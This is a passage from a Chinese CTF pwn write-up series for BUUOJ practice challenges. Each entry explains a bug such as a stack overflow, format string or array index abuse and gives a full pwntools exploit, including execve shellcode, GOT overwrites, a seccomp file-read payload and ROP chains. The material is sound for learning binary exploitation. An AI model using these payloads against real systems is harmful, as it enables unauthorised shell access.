elf = ELF('./axb_2019_brop64')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400963
main = 0x4007d6

payload = 'a' * (0xd0 + 8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\0'))

print(hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a' * (0xd0 + 8) + p64(rdi) + p64(bin_sh) + p64(system) + p64(main)
io.sendline(payload)

io.interactive()

0x45 ciscn_2019_s_9

这题保护都没开,显然可以写入shellcode,在函数pwn中存在一处溢出,显然ret2libc可以直接做了,但是还有个函数hint,有 jmp esp 指令,于是我们可以在栈上写入shellcode,然后利用它来进行跳转执行。

void hint()
{
  __asm { jmp     esp }
}

但是输入长度为50,只能溢出14个字节长度,如果在ebp之后写入shellcode进行跳转显然长度不够,于是我们将shellcode写在pwn函数栈内,如下图所示,在pwn函数执行完毕后,执行 leave ; ret 指令后,esp指向了0xd020,而eip指向了 jmp esp ,也就是跳转到了0xd020处,执行代码 sub esp,40 ; call esp,esp减去40刚好在shellcode处,然后执行shellcode进而getshell。

exp:

from pwn import *

context(log_level='debug',arch='i386',os='linux')

# io = process('./ciscn_s_9')
io = remote('node3.buuoj.cn', 28774)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print(len(shellcode))
hint = 0x8048554

payload = shellcode.ljust(36, '\x00') + p32(hint) + asm('sub esp,40;call esp')

io.sendlineafter('>\n', payload)

io.interactive()

0x46 axb_2019_fmt64

和之前的axb_2019_fmt32类似,两题都是格式化字符串漏洞。先找到偏移量为8。

与32位不同的是,如果在泄露got表内容时,payload写成 p64(strlen_got) + '%8$saaaa' ,因为got表地址为三位,p64填充后会出现 \x00 ,printf在遇到 \x00 会认为字符串结束了,会停止输出,造成了截断,因此我们可以写成 p64(strlen_got) + '%9$saaaa' ,就可以呢正确泄露出函数的实际地址了。

不知道为什么修改puts函数的got表时老失败,改成strlen函数后就成功了,很迷惑。

在我们泄露出strlen函数的真实地址后,再得到system函数的真实地址,我们可以发现两个函数的地址只有最低三位不同,因此我们只需要覆盖got表的低三位就可以了。

strlen -> 0x7f290c6f67a0
system -> 0x7f290c6b0410

修改的payload如下,high_sys为地址低三位的最高位,low_sys其低三位的剩下两位。因为这三个字节的内容大小顺序不是固定的,我们可以第一次修改一个字节,第二次修改两个字节。因为已经输出了9个字符,所以high_sys要减去9。

payload = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
payload = payload.ljust(32, "A") + p64(strlen_got + 2) + p64(strlen_got)

exp:

from pwn import *

context(log_level='debug', arch='amd64', os='linux')

# io = process('./axb_2019_fmt64')
io = remote('node3.buuoj.cn', 29694)

elf = ELF('./axb_2019_fmt64')
libc = ELF('./libc-2.23.so')

strlen_got = elf.got['strlen']

payload =  '%9$saaaa' + p64(strlen_got)
io.sendlineafter('tell me:', payload)

address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

libc_base = address - libc.symbols['strlen']
system = libc_base + libc.symbols['system']

high_sys = (system >> 16) & 0xff
low_sys = system & 0xffff

payload = "%" + str(high_sys - 9) + "c%12$hhn" + "%" + str(low_sys - high_sys) + "c%13$hn"
payload = payload.ljust(32, "A") + p64(strlen_got + 2) + p64(strlen_got)
io.sendlineafter('tell me:', payload)

io.sendafter("Please tell me:", ';/bin/sh\x00')

io.interactive()

0x47 mrctf2020_easy_equation

最简单的ret2text

exp:

from pwn import *

# io = process('./mrctf2020_easy_equation')
io = remote('node3.buuoj.cn', 29771)

shell = 0x4006d0
ret = 0x4006E2

payload = 'a' * 9 + p64(ret) + p64(shell)

io.sendline(payload)

io.interactive()

0x48 cmcc_pwnme1

ret2libc

exp:

from pwn import *

context(log_level='debug',arch='i386',os='linux')

# io = process('./pwnme1', env={"LD_PRELOAD": "./libc-2.23-32.so"})
io = remote('node3.buuoj.cn', 29301)
elf = ELF('./pwnme1')
libc = ELF('./libc-2.23-32.so')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']


payload = 'a' * (0xa4 + 4) + p32(puts_plt) + p32(0x8048624) + p32(puts_got)

io.sendlineafter('6. Exit    \n', '5')
io.sendlineafter('fruit:', payload)

io.recvuntil('\n')
puts_addr = u32(io.recv(4))
libc_base = puts_addr - libc.symbols['puts']
print('libc_base -> ' + hex(libc_base))

system = libc_base + libc.symbols['system']
one_gadget = libc_base + 0x3a812

payload = 'a' * (0xa4 + 4) + p32(one_gadget)
io.sendlineafter('fruit:', payload)

io.interactive()

0x49 [极客大挑战 2019]Not Bad

首先看看main函数,先调用mmap函数,在0x123000开始的一块空间设置为可读可写。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
  seccomp_rule();
  init_buffer();
  overflow();
  return 0LL;
}

seccomp_rule() 函数中,利用seccomp_rule_add() 函数添加seccomp规则(可见 Linux沙箱之seccomp ),限制了进程可以使用的系统调用,我们只能使用系统调用号为0、1、2、60的系统调用,也就是说只能使用read、write、open和exit函数。

__int64 seccomp_rule()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = seccomp_init(0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  return seccomp_load(v1);
}

overflow()函数中,存在栈溢出,但是溢出长度很短。

int overflow()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Easy shellcode, have fun!");
  read(0, buf, 0x38uLL);
  return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

除此之外,还发现了一个函数,和之前一题一样存在 jmp rsp 的指令片段,但是这题限制了系统调用,不能直接getshell了。

void jmp_rsp()
{
  __asm { jmp     rsp }
}

虽然不能直接执行getshell的shellcode,但是我们可以读取flag文件到程序最开始分配的那块空间,然后输出flag文件。当然要先通过栈溢出将上述的shellcode读取到那块空间,就用到了 jmp rsp

exp:

from pwn import *

context(log_level='debug', os="linux", arch='amd64')

# io = process('./bad')
io = remote('node3.buuoj.cn', 28748)

jmp = 0x400a01

shellcode = asm(shellcraft.read(0, 0x123000, 0x90))
shellcode += asm('mov rax,0x123000;call rax')
payload = shellcode.ljust(0x28, '\x00') + p64(jmp) + asm('sub rsp,0x30;call rsp')

io.sendlineafter(' have fun!\n', payload)

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read(3, 0x123000, 0x30)
shellcode += shellcraft.write(1, 0x123000, 0x30)

io.sendline(asm(shellcode))
io.interactive()

0x4a picoctf_2018_leak_me

首先对参数v5进行读取,刚好256个字符,然后将字符串 ",\nPlease Enter the Password." 拼接到v5之后,打开password文件,将里面的内容读取到passwd中,之后再读取输入,判断与passwd是否相等,相等调用函数输出flag。

// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char input[64]; // [esp+0h] [ebp-194h] BYREF
  char v5[256]; // [esp+40h] [ebp-154h] BYREF
  char passwd[64]; // [esp+140h] [ebp-54h] BYREF
  FILE *stream; // [esp+180h] [ebp-14h]
  char *v8; // [esp+184h] [ebp-10h]
  __gid_t v9; // [esp+188h] [ebp-Ch]
  int *v10; // [esp+18Ch] [ebp-8h]

  v10 = &argc;
  setvbuf(stdout, 0, 2, 0);
  v9 = getegid();
  setresgid(v9, v9, v9);
  memset(passwd, 0, sizeof(passwd));
  memset(v5, 0, sizeof(v5));
  memset(input, 0, sizeof(input));
  puts("What is your name?");
  fgets(v5, 256, stdin);
  v8 = strchr(v5, '\n');
  if ( v8 )
    *v8 = 0;
  strcat(v5, ",\nPlease Enter the Password.");
  stream = fopen("password.txt", "r");
  if ( !stream )
  {
    puts(
      "Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(passwd, 64, stream);
  printf("Hello ");
  puts(v5);
  fgets(input, 64, stdin);
  v5[0] = 0;
  if ( !strcmp(input, passwd) )
    flag();
  else
    puts("Incorrect Password!");
  return 0;
}

这里我们可以发现,在栈上v5与passwd是相邻的,如果我们将v5填充满字符,那么当puts函数输出v5时,就会顺带输出passwd的内容,吗,饿就可以得到正确的password了。

exp:

from pwn import *

# io = process('./PicoCTF_2018_leak-me')
io = remote('node3.buuoj.cn', 27681)

payload = 'a' * 255

io.sendafter('name?\n', payload)

io.recvuntil(',')
passwd = io.recvline()
print(passwd)

io.sendline(passwd)

io.interactive()

0x4b suctf_2018_basic pwn

ret2text

exp:

from pwn import *

# io = process('./SUCTF_2018_basic_pwn')
io = remote('node3.buuoj.cn', 25551)

payload = 'a' * 0x118 + p64(0x401157)

io.sendline(payload)

io.interactive()

0x4c inndy_echo

存在格式化字符串漏洞,还有system函数,修改printf函数的got表地址为system函数的plt表地址,输入 /bin/sh 即可getshell。

exp:

from pwn import *

io = process('./echo')
io = remote('node3.buuoj.cn', 28111)
elf = ELF('./echo')

printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(7, {printf_got:system_plt})

io.sendline(payload)
io.sendline('/bin/sh\x00')

io.interactive()

0x4d wdb_2018_2nd_easyfmt

格式化字符串漏洞,把printf函数的got表改成system函数的地址就行了。

exp:

from pwn import *

context(log_level='debug')

io = process('./wdb_2018_2nd_easyfmt',env={'LD_PRELOAD':'./libc-2.23-32.so'})
io = remote('node3.buuoj.cn', 26980)
libc = ELF('./libc-2.23-32.so')
elf = ELF('./wdb_2018_2nd_easyfmt')

puts_got = elf.got['puts']

payload = p32(puts_got) + '%6$s'

io.sendlineafter('repeater?\n', payload)
io.recv(4)
address = u32(io.recv(4))
libc_base = address - libc.symbols['puts']
system = libc_base + libc.symbols['system']

payload = fmtstr_payload(6, {elf.got['printf']:system})
io.sendline(payload)

io.sendline('/bin/sh\x00')
io.interactive()

0x4e x_ctf_b0verfl0w

保护全关了,可以执行shellcode,又找到了 jmp esp 的指令片段,在栈上写入shellcode,然后跳转执行就行了。

exp:

from pwn import *

context(log_level='debug')

# io = process('./b0verfl0w')
io = remote('node3.buuoj.cn', 29043)

jmp_esp = 0x8048504

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload = shellcode.ljust(36, '\x00') + p32(jmp_esp) + asm('sub esp,40;call esp')
io.sendlineafter('name?\n', payload)

io.interactive()

0x4f oneshot_tjctf_2016

程序会读取一个地址,然后输出该地址的内容,之后去读取我们的输入对该地址的内容进行覆盖。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF

  setbuf(stdout, 0LL);
  puts("Read location?");
  __isoc99_scanf("%ld", &v4);
  printf("Value: 0x%016lx\n", *(_QWORD *)v4);
  puts("Jump location?");
  __isoc99_scanf("%ld", &v4);
  puts("Good luck!");
  return v4();
}

输入puts函数的got表地址,然后puts函数的实际地址会被输出,libc的基址就被泄露出来了,将one_gadget写入即可。

exp:

from pwn import *

context(log_level='debug')

# io = process('./oneshot_tjctf_2016')
io = remote('node3.buuoj.cn', 25208)
elf = ELF('./oneshot_tjctf_2016')
libc = ELF('./libc-2.23.so')

puts_got = elf.got['puts']

print(hex(puts_got))
io.sendlineafter('location?\n', str(puts_got))

io.recvuntil('Value: 0x0000')
puts_addr = int(io.recv(12), 16)
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + 0x45216

io.sendlineafter('location?\n', str(one_gadget))

io.interactive()

0x50 wdb2018_guess

程序开启了canary和NX保护。

程序会先读取flag文件,然后存放到栈上,之后进行输入,存在栈溢出,我们有三次机会进行输入。我们可以利用Stack smash来进行数据的输出。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __WAIT_STATUS *v3; // rdi
  __WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF
  __int64 v7; // [rsp+20h] [rbp-80h]
  __int64 v8; // [rsp+28h] [rbp-78h]
  char buf[48]; // [rsp+30h] [rbp-70h] BYREF
  char s2[56]; // [rsp+60h] [rbp-40h] BYREF
  unsigned __int64 v11; // [rsp+98h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  v8 = 3LL;
  LODWORD(stat_loc.__uptr) = 0;
  v7 = 0LL;
  sub_4009A6(a1, a2, a3);
  HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);// 读取 falg
  if ( HIDWORD(stat_loc.__iptr) == -1 )
  {
    perror("./flag.txt");
    _exit(-1);
  }
  read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
  close(SHIDWORD(stat_loc.__iptr));
  v3 = (__WAIT_STATUS *)"This is GUESS FLAG CHALLENGE!";
  puts("This is GUESS FLAG CHALLENGE!");
  while ( 1 )                                   // 开启三个线程
  {
    if ( v7 >= v8 )
    {
      puts("you have no sense... bye :-) ");
      return 0LL;
    }
    if ( !(unsigned int)sub_400A11(v3) )
      break;
    ++v7;
    v3 = &stat_loc;
    wait((__WAIT_STATUS)&stat_loc);
  }
  puts("Please type your guessing flag");
  gets(s2);                                     // 进行输入,存在溢出
  if ( !strcmp(buf, s2) )
    puts("You must have great six sense!!!! :-o ");
  else
    puts("You should take more effort to get six sence, and one more challenge!!");
  return 0LL;
}

想要利用Stack smash来输出栈上的数据,就得先知道栈的地址,这里我们可以利用_environ来获取栈的地址。先利用Stack smash来输出函数got表的地址,然后泄露出libc的基址,进一步获得_environ的地址。这里用gdb调试一下,可以看到flag在0x7fffffffddf0的位置,environ中的地址在0x00007fffffffdf58处,二者相差0x168,就拿到了flag的地址,就可以进行泄露了。

0048| 0x7fffffffddf0 ("flag{so4ms}\n")
0056| 0x7fffffffddf8 --> 0xa7d736d ('ms}\n')
0064| 0x7fffffffde00 --> 0x0 
0072| 0x7fffffffde08 --> 0x0 
0080| 0x7fffffffde10 --> 0x0 
0088| 0x7fffffffde18 --> 0x0 
0096| 0x7fffffffde20 ("abcdefgh")
0104| 0x7fffffffde28 --> 0x400b00 (jl     0x400b01)
0112| 0x7fffffffde30 --> 0x0 
0120| 0x7fffffffde38 --> 0x0 
0128| 0x7fffffffde40 --> 0x400bb0 (push   r15)
0136| 0x7fffffffde48 --> 0x4008b0 (xor    ebp,ebp)
0144| 0x7fffffffde50 --> 0x7fffffffdf40 --> 0x1 
0152| 0x7fffffffde58 --> 0x749072c303be5f00 
0160| 0x7fffffffde60 --> 0x400bb0 (push   r15)
0168| 0x7fffffffde68 --> 0x7ffff7a2d840 (<__libc_start_main+240>:   mov    edi,eax)
0176| 0x7fffffffde70 --> 0x0 
0184| 0x7fffffffde78 --> 0x7fffffffdf48 --> 0x7fffffffe2b3 ("/home/giantbran"...)
0192| 0x7fffffffde80 --> 0x100000000 
0200| 0x7fffffffde88 --> 0x400a40 (push   rbp)
0208| 0x7fffffffde90 --> 0x0 
0216| 0x7fffffffde98 --> 0xe35192f02a79c592 
0224| 0x7fffffffdea0 --> 0x4008b0 (xor    ebp,ebp)
0232| 0x7fffffffdea8 --> 0x7fffffffdf40 --> 0x1 
0240| 0x7fffffffdeb0 --> 0x0 
0248| 0x7fffffffdeb8 --> 0x0 
0256| 0x7fffffffdec0 --> 0x1cae6d8f81f9c592 
0264| 0x7fffffffdec8 --> 0x1cae7d3592e9c592 
0272| 0x7fffffffded0 --> 0x0 
0280| 0x7fffffffded8 --> 0x0 
0288| 0x7fffffffdee0 --> 0x0 
0296| 0x7fffffffdee8 --> 0x0 
0304| 0x7fffffffdef0 --> 0x0 
0312| 0x7fffffffdef8 --> 0x0 
0320| 0x7fffffffdf00 --> 0x0 
0328| 0x7fffffffdf08 --> 0x0 
0336| 0x7fffffffdf10 --> 0x4008b0 (xor    ebp,ebp)
0344| 0x7fffffffdf18 --> 0x7fffffffdf40 --> 0x1 
0352| 0x7fffffffdf20 --> 0x0 
0360| 0x7fffffffdf28 --> 0x4008d9 (hlt)
0368| 0x7fffffffdf30 --> 0x7fffffffdf38 --> 0x1c 
0376| 0x7fffffffdf38 --> 0x1c 
0384| 0x7fffffffdf40 --> 0x1 
0392| 0x7fffffffdf48 --> 0x7fffffffe2b3 ("/home/giantbran"...)
0400| 0x7fffffffdf50 --> 0x0 
0408| 0x7fffffffdf58 --> 0x7fffffffe2d3 ("XDG_VTNR=7")
gdb-peda$ p &environ
$2 = (char ***) 0x7ffff7ffe100 <environ>
gdb-peda$ x/gx 0x7ffff7ffe100
0x7ffff7ffe100 <environ>:   0x00007fffffffdf58

exp:

from pwn import *

context(log_level='debug')

# io = process('./GUESS',env={'LD_PRELOAD':'./libc-2.23.so'})
io = remote('node3.buuoj.cn', 26878)
elf = ELF('./GUESS')
libc = ELF('./libc-2.23.so')

puts_got = elf.got['puts']

# first
payload = 'a' * 0x128 + p64(puts_got)
io.sendlineafter('guessing flag\n', payload)
address = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(address))
libc_base = address - libc.symbols['puts']
print(hex(libc_base))

# second
environ = libc_base + libc.symbols['environ']
payload = 'a' * 0x128 + p64(environ)
io.sendlineafter('guessing flag\n', payload)
environ_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print(hex(environ_addr))

# third
flag = environ_addr - 0x168
payload = 'a' * 0x128 + p64(flag)
io.sendlineafter('guessing flag\n', payload)
io.recvuntil('detected ***: ')
print(io.recvline())
io.interactive()

0x51 wustctf2020_name_your_cat

vulnerable() 调用五次 NameWhich 函数。在 NameWhich 函数中,对v2进行输入,然后将v2乘以8作为函数参数a1数组的下标,这里由于没有对其进行限制,所以存在数组溢出,而且我们还找到了后门函数,如果能溢出到函数返回地址就可以getshell了。

unsigned int vulnerable()
{
  int i; // [esp+Ch] [ebp-3Ch]
  int v2; // [esp+10h] [ebp-38h]
  char v3[40]; // [esp+14h] [ebp-34h] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("I bought you five famale cats.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich(v3);
    printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
    printf("Her name is:%s\n\n", &v3[8 * v2]);
  }
  return __readgsdword(0x14u) ^ v4;
}

int __cdecl NameWhich(char *a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", &a1[8 * v2[0]]);
  return v2[0];
}

用gdb调试一下,可以看见在调用 NameWhich 函数时传入的参数地址是0xffffcfc4,然后进入 NameWhich 函数后,发现函数返回地址存放在0xffffcf9c,二者相差40,而且返回地址在参数的地址之上,于是我们可以将下标设置为 -5 * 8 ,就刚好覆盖了返回地址。

exp:

from pwn import *

# io = process('./wustctf2020_name_your_cat')
io = remote('node3.buuoj.cn', 25091)

io.sendlineafter('Name for which?\n>',str(-5))
io.sendlineafter("Give your name plz: ", p32(0x80485cb))

io.interactive()

0x52 mrctf2020_shellcode_revenge

由于有一句 call rax 所以ida又不能看伪代码了,GhidraRun yyds。

读取一段数据,然后逐字符判断输入的内容是否在 0x60-0x7a, 0x2f-0x5a 范围内,也就是说要在可见字符范围内,满足条件后把这串数据当做代码执行。这里可以利用alpha3来生成。

undefined8 main(void)
{
  ssize_t sVar1;
  undefined local_418 [1032];
  int local_10;
  int local_c;

  write(1,"Show me your magic!\n",0x14);
  sVar1 = read(0,local_418,0x400);
  local_10 = (int)sVar1;
  if (0 < local_10) {
    local_c = 0;
    while (local_c < local_10) {
      if (((((char)local_418[local_c] < 'a') || ('z' < (char)local_418[local_c])) &&
          (((char)local_418[local_c] < 'A' || ('Z' < (char)local_418[local_c])))) &&
         (((char)local_418[local_c] < '0' || ('Z' < (char)local_418[local_c])))) {
        printf("I Can\'t Read This!");
        return 0;
      }
      local_c = local_c + 1;
    }
    (*(code *)local_418)();
  }
  return 0;
}

exp:

from pwn import *

# io = process('./mrctf2020_shellcode_revenge')
io = remote('node3.buuoj.cn', 28052)

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

io.sendafter('magic!\n', shellcode)

io.interactive()

0x53 wustctf2020_number_game

这里读取一个数字,判断是否小于0,以及取反之后是否小于0,满足条件组返回shell。

unsigned int vulnerable()
{
  int v1; // [esp+8h] [ebp-10h] BYREF
  unsigned int v2; // [esp+Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  v1 = 0;
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0 || (v1 = -v1, v1 >= 0) )
    printf("You lose");
  else
    shell();
  return __readgsdword(0x14u) ^ v2;
}

int型范围为[-2147483648,2147483647],-2147483648的二进制表示形式为 1000 0000 0000 0000 0000 0000 0000 0000,取相反数为取反加一,仍为1000 0000 0000 0000 0000 0000 0000 0000,符合条件。

exp:

-2147483648

0x54 护网杯_2018_gettingstart

栈溢出覆盖v5和v6的值满足条件即可。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  __int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v5; // [rsp+28h] [rbp-18h]
  double v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  buf[2] = 0LL;
  v5 = 0x7FFFFFFFFFFFFFFFLL;
  v6 = 1.797693134862316e308;
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
  puts("But Whether it starts depends on you.");
  read(0, buf, 0x28uLL);
  if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
    system("/bin/sh");
  }
  else
  {
    puts("Try again!");
  }
  return 0LL;
}

exp:

from pwn import *

# io = process('./2018_gettingStart')
io = remote('node3.buuoj.cn', 25934)

payload = 'a' * 0x18 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
io.sendlineafter('on you.\n', payload)

io.interactive()

0x55 picoctf_2018_buffer overflow 0

读取flag文件放在参数flag中,当接收到SIGSEGV信号时触发sigsegv_handler函数,输出flag。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-Ch] [ebp-1Ch]
  __gid_t v5; // [esp+0h] [ebp-10h]
  FILE *stream; // [esp+4h] [ebp-Ch]

  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(flag, 64, stream);
  signal(11, sigsegv_handler);
  v5 = getegid();
  setresgid(v5, v5, v5, v4);
  if ( argc <= 1 )
  {
    puts("This program takes 1 argument.");
  }
  else
  {
    vuln((char *)argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  return 0;
}

运行程序带有参数时会进入函数vuln,将我们跟着的参数复制到dest中,而dest只有24个字符大小,可以造成栈溢出。

char *__cdecl vuln(char *src)
{
  char dest[24]; // [esp+0h] [ebp-18h] BYREF

  return strcpy(dest, src);
}

而SIGSEGV(Segment fault)意味着指针所对应的地址是无效地址,没有物理内存对应该地址。也就是说只要将返回地址溢出覆盖为一个不存在的地址就可以输出flag了。

ssh连接上去,运行程序跟上一个较长的字符就可以了。

0x56 judgement_mna_2016

格式化字符串漏洞,用函数 getline() 进行输入,并且判断我们输入的数据是否是可打印字符,否则返回0就不会触发漏洞,而我们虽然知道flag的地址,但是不能输入就无法直接泄露地址的内容。

_BOOL4 __cdecl getnline(char *s, int n)
{
  int i; // [esp+18h] [ebp-10h]
  char *v4; // [esp+1Ch] [ebp-Ch]
  int na; // [esp+34h] [ebp+Ch]

  fgets(s, n, stdin);
  v4 = strchr(s, '\n');
  if ( v4 )
    *v4 = 0;
  na = strlen(s);
  for ( i = 0; i < na && isprint(s[i]); ++i )
    ;
  return i == na;
}

而我们可以看到在函数 load_flag() 中,读取了flag,而存放flag的变量s是一个局部变量,也就是说会存放在栈上,那么我们只要找到偏移就可以直接泄露flag了。

int __cdecl load_flag(char *filename, char *s, int n)
{
  FILE *stream; // [esp+18h] [ebp-10h]
  char *v5; // [esp+1Ch] [ebp-Ch]

  stream = fopen(filename, "r");
  if ( !stream )
    return 0;
  if ( !fgets(s, n, stream) )
    return 0;
  v5 = strchr(s, '\n');
  if ( v5 )
    *v5 = 0;
  return 1;
}

gdb调试找到偏移为28。

exp:

from pwn import *

context.log_level = 'debug'

# io = process('./judgement_mna_2016')
io = remote('node3.buuoj.cn', 26598)

payload = '%28$s'

io.sendlineafter('>> ', payload)
io.interactive()

0x57 wustctf2020_name_your_dog

和wustctf2020_name_your_cat类似,但是这题由于输入在bss段不是在栈上,所以不是覆盖返回地址,而是选择覆盖got表。

先输入一个数字,然后乘以8作为数组a1的下标,然后对其进行输入。我们可以看到got表就在这个地址的不远处,找到scanf函数的地址,算出偏移,注意这里的偏移必须是8的倍数才可以。

int __cdecl NameWhich(char *a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", &a1[8 * v2[0]]);
  return v2[0];
}

exp:

from pwn import *

# io = process('./wustctf2020_name_your_dog')
io = remote('node3.buuoj.cn', 25472)

io.sendlineafter('Name for which?\n>',str(-7))
io.sendlineafter("Give your name plz: ", p32(0x80485cb))

io.interactive()

0x58 强网杯2019 拟态 STKOF

这是一道拟态题,拿到两个文件有点懵,反编译后发现两个文件除了一个是32位,一个是64位外没有区别,都是简单的栈溢出只不过32位溢出长度为0x110,64位溢出长度为0x118,都是静态编译,可以使用ROPgadget来生成ROPchain。

因为这是一题拟态的pwn题,跟传统题型相比,加入了拟态的检查机制,大概原理是:题目会同时启动32位程序和64位程序,而我们的输入会分别传入这个两个进程,每个程序一份,然后题目会检测两个程序的输出,若两个程序的输出不一致或任一程序或者异常退出,则会被判断为check down,直接断开链接。只有两个程序的输入一致时,才能通过检查。因此,我们要做的就是构造一个payload,输入到32位程序和64位程序的时候,确保输出流完全一致,也就是用一个payload在32位程序和64位程序都能getshell。

所以我们要想办法利用溢出长度的不同来使得两个程序执行不同的ROPchain。我们就可以使用增加esp和rsp的值得方法来控制程序吓一跳执行的指令。

在32位的程序中找到一条指令,可以使得esp的值增加0xc。

0x080a8f69 : add esp, 0xc ; ret

在64位的程序中找到一条指令,可以使得rsp的值增加0x68,这里有很多条可以增加rsp的值得指令,我们根据ROPchain的长度进行合适的选择就可以了。

0x000000000043b86b : add rsp, 0x68 ; ret

我们在生成ROPchain后,需要进行一些修改,避免因为payload太长而导致攻击失败,然后对ROP链进行布置如下,使得32位和64位的程序在执行对应的增大栈顶的指令后刚好指向自己对应的ROPchain。

stack
'a' * 0x110
p64(add_esp)
p64(add_rsp)
ROPchain_32
'a' * 0x68 - len(ROPchain_32)
ROPchain_64

exp:

from pwn import *
from struct import pack

io = remote('node3.buuoj.cn', 26153)

p = ''
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9064) # @ .data + 4
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x08056a85) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x08056040) # xor eax, eax ; ret
p += pack('<I', 0x080a8af6) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080495a3) # int 0x80
payload32 = p


p = ''
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e0) # @ .data
p += pack('<Q', 0x000000000043b97c) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000405895) # pop rsi ; ret
p += pack('<Q', 0x00000000006a10e8) # @ .data + 8
p += pack('<Q', 0x0000000000436ed0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
